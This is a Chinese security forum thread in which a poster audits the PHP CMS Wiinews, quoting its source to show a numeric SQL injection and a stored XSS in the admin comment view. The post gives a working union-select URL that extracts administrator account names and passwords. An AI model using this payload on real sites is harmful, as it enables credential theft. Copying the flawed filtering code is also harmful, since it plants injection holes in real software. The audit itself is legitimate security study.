查看: 13321|回复: 7

一次简单的审计过程(未完)

[复制链接]
匿名
匿名  发表于 2014-12-15 10:10:15 |阅读模式
本帖最后由 匿名 于 2014-12-15 10:16 编辑

    前言:分析的这套CMS比较垃圾,名字叫Wiinews,但也算小弟的第一次代码审计. 第一次发帖,文中有诸多不足.希望大家多多指点.小弟QQ 424237301,爱学习爱基友,希望能与大家共同学习交流!

    最近闲的一B,于是昨天去chinaz找了一个cms想审计下
        1.jpg
        2.jpg

   可以看到,已经带入数据库查询了.
   看下源码.
[PHP] 纯文本查看 复制代码
<?php 
	$id=sqlReplace(Trim($_GET['id']));
	$sqlStr="select * from wiinews_news where news_id=$id";
	$result = mysql_query($sqlStr) or die ("查询失败,请检查SQL语句。编码号:1010");
	$row = mysql_fetch_array($result);
	if ($row){
		$title=$row['news_title'];
		$subtitle=$row['news_subtitle'];
		$sort=$row['news_sort'];
		$name=$row['news_name'];
		$desc=$row['news_desc'];
		$content=$row['news_content'];
		$author=$row['news_author'];
		$source=$row['news_source'];
		$url1=$row['news_url'];
		$addTime=$row['news_addTime'];
		$newsStatus=$row['news_status'];
		$pic=$row['news_picture'];
		$comCount=$row['news_comCount'];
	}else{
		die ("新闻不存在。");
	}
	if ($newsStatus=="1")
		die ("新闻处于待审核状态");
  ?>


红色标记的sqlReplace()应该是对传入的参数做过滤的,看看他是怎么过虑的,找到function.php

[PHP] 纯文本查看 复制代码
function sqlReplace($str)
{
   $strResult = $str;
   if(!get_magic_quotes_gpc())
   {
     $strResult = addslashes($strResult);
   }
   return HTMLEncode($strResult);
}
function HTMLEncode($str){
	if (!empty($str)){
		$str=str_replace("&","&amp;",$str);
		$str=str_replace(">","&gt;",$str);
		$str=str_replace("<","&lt;",$str);
		$str=str_replace(CHR(32),"&nbsp;",$str);  //空格
		$str=str_replace(CHR(9),"&nbsp;&nbsp;&nbsp;&nbsp;",$str);  //tab
		$str=str_replace(CHR(9),"    ",$str);  
		$str=str_replace(CHR(34),"&quot;",$str); //"
		$str=str_replace(CHR(39),"&#39;",$str);  //'
		$str=str_replace(CHR(13),"",$str);  //回车
		$str=str_replace(CHR(10),"<br/>",$str); //
	}
	return $str;
}


这里他把一些字符给过滤了, = = 看着怎么好像……
来试试吧,咱们这里是数字型注入.所以应该是可以的.

3.jpg

exp :
[AppleScript] 纯文本查看 复制代码
http://localhost/xw/newsDetail.php?id=2/**/and/**/1=2/**/union/**/select/**/1,2,admin_account,admin_password,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20/**/from/**/Wiinews_admin


还有其他很多地方也有注入,比如搜索栏.

4.jpg

但是想一想.搜索栏搜索是怎样一条语句?

Select * from table_name where news_title like ‘%搜索%’

如果注入的话,好像没办法避免单引号一类的.

5.jpg

另外在新闻下面可以评论的.
可以试试评论有xss一类的洞洞没.

6.jpg

7.jpg

看下源码是怎么做的.

[PHP] 纯文本查看 复制代码
<?php
	$action=$_GET["act"];
	switch($action){
	case "post":
		$id=Trim($_GET["id"]);
		$comment=HTMLEncode($_POST["comment"]);
		if(empty($comment)) {
			die ("评论不能为空。<a href='newsDetail.php?id=".$id."'>返回</a>");
		}
		if(strlen($comment)>420){
			die ("评论不能超过140字。<a href='newsDetail.php?id=".$id."'>返回</a>");
		}
		$sql="insert into wiinews_comment(comment_news,comment_name,comment_addTime,comment_ip,comment_content,comment_status) values ('".$id."','admin','".date("Y:m:d H:i:s")."','".$_SERVER['REMOTE_ADDR']."','".$comment."','".$commentCheck."')";
		if(mysql_query($sql)) {
			$sqlStr="update wiinews_news set news_comCount=news_comCount+1 where news_id='".$id."'";
			mysql_query($sqlStr);
			if($commentCheck=="1"){
				echo "评论需审核,请等待...<a href='newsDetail.php?id=".$id."'>返回</a>";
			}else{
				echo "评论成功!<a href='newsDetail.php?id=".$id."'>返回</a>";
			}
		}else{
			echo "评论失败!<a href='newsDetail.php?id=".$id."'>返回</a>";
		}
		break;
	}
?>


红色标记.原来是这样. HTMLEncode()
可是,可是。
当我手贱的打开后台留言板的时候却。。

8.jpg

这是什么情况?

继续看代码.

commentDetail.php

[PHP] 纯文本查看 复制代码
<?php
		$id=sqlReplace(Trim($_GET['id']));
		if(empty($id)){
			alertInfo("非法访问",'',1);
		}else{
			$sqlStr="select * from wiinews_comment where comment_id=".$id;
			$result = mysql_query($sqlStr);
			$row = mysql_fetch_array($result);
			if($row)
			{
				$news=$row['comment_news'];
				$name=$row['comment_name'];
				$ip=$row['comment_ip'];
				$addTime=$row['comment_addTime'];
				$content=$row['comment_content'];
				$status=$row['comment_status'];
			}
		}
		$sqlStr1="select * from wiinews_news where news_id=$news";
		$result1 = mysql_query($sqlStr1);
		$row1 = mysql_fetch_array($result1);
		if ($row1)
		{
			$newsName=$row1['news_title'];
		}
	?>



看着没什么问题嘛。。。。
但是。。
往下面继续看。。

[PHP] 纯文本查看 复制代码
<div class="fromcontent">
			<p>评论人姓名:<?php echo $name; ?></p>
			<p>评论人IP:<?php echo $ip; ?></p>
			<p>评论时间:<?php echo $addTime;?></p>
			<p>评论所属新闻:<?php echo $newsName; ?></p>
			<p>内容: [<a href="news_do.php?act=del1&s=<?php echo $id?>">删除</a>] <?php If ($status=="1") {?>  [<a href="news_do.php?act=check&id=<?php echo $id?>">审核通过</a>] <?php }?></p>
			<hr/>
			<?php echo HTMLDecode($content);?>


他最后把编码后的内容给还原了? 还原了?还原了?


不习惯看贴的,这边有附件。可以自行下载.

文章.doc (324.5 KB, 下载次数: 9)
回复

使用道具 举报

  • TA的每日心情
    奋斗
    2017-8-21 09:22
  • 签到天数: 181 天

    [LV.7]常住居民III

    发表于 2014-12-15 11:57:34 | 显示全部楼层
    很好的代码审计
    回复 支持 反对

    使用道具 举报

  • TA的每日心情

    昨天 20:03
  • 签到天数: 1626 天

    [LV.Master]伴坛终老

    发表于 2014-12-15 12:21:25 | 显示全部楼层
    既然是匿名,干嘛还加QQ?

    点评

    我才知道论坛可以匿名……  详情 回复 发表于 2014-12-16 09:14
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    慵懒
    2017-1-5 19:19
  • 签到天数: 238 天

    [LV.7]常住居民III

    发表于 2014-12-15 17:25:54 | 显示全部楼层
    我现在才知道可以匿名发帖{:soso_e153:}- -
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    慵懒
    2017-1-15 18:41
  • 签到天数: 412 天

    [LV.9]以坛为家II

    发表于 2014-12-15 17:50:50 | 显示全部楼层
    现在才知道可以匿名发帖
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    难过
    2016-8-26 14:36
  • 签到天数: 6 天

    [LV.2]偶尔看看I

    发表于 2014-12-15 19:44:23 | 显示全部楼层
    为什么匿名?我也想做代审来着,求带啊
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    奋斗
    2021-12-29 18:17
  • 签到天数: 45 天

    [LV.5]常住居民I

    发表于 2014-12-16 09:14:56 | 显示全部楼层
    90_ 发表于 2014-12-15 12:21
    既然是匿名,干嘛还加QQ?

    我才知道论坛可以匿名……
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    开心
    2016-8-27 01:19
  • 签到天数: 50 天

    [LV.5]常住居民I

    发表于 2014-12-16 12:21:45 | 显示全部楼层
    小学生代码审计还玩不起
    回复 支持 反对

    使用道具 举报

    您需要登录后才可以回帖 登录 | 注册

    本版积分规则

    指导单位

    江苏省公安厅

    江苏省通信管理局

    浙江省台州刑侦支队

    DEFCON GROUP 86025

    旗下站点

    邮箱系统

    应急响应中心

    红盟安全

    联系我们

    官方QQ群:112851260

    官方邮箱:security#ihonker.org(#改成@)

    官方核心成员

    Archiver|手机版|小黑屋| ( 苏ICP备2021031567号 )

    GMT+8, 2024-11-1 19:36 , Processed in 0.025076 second(s), 14 queries , Gzip On, MemCache On.

    Powered by ihonker.com

    Copyright © 2015-现在.

  • 返回顶部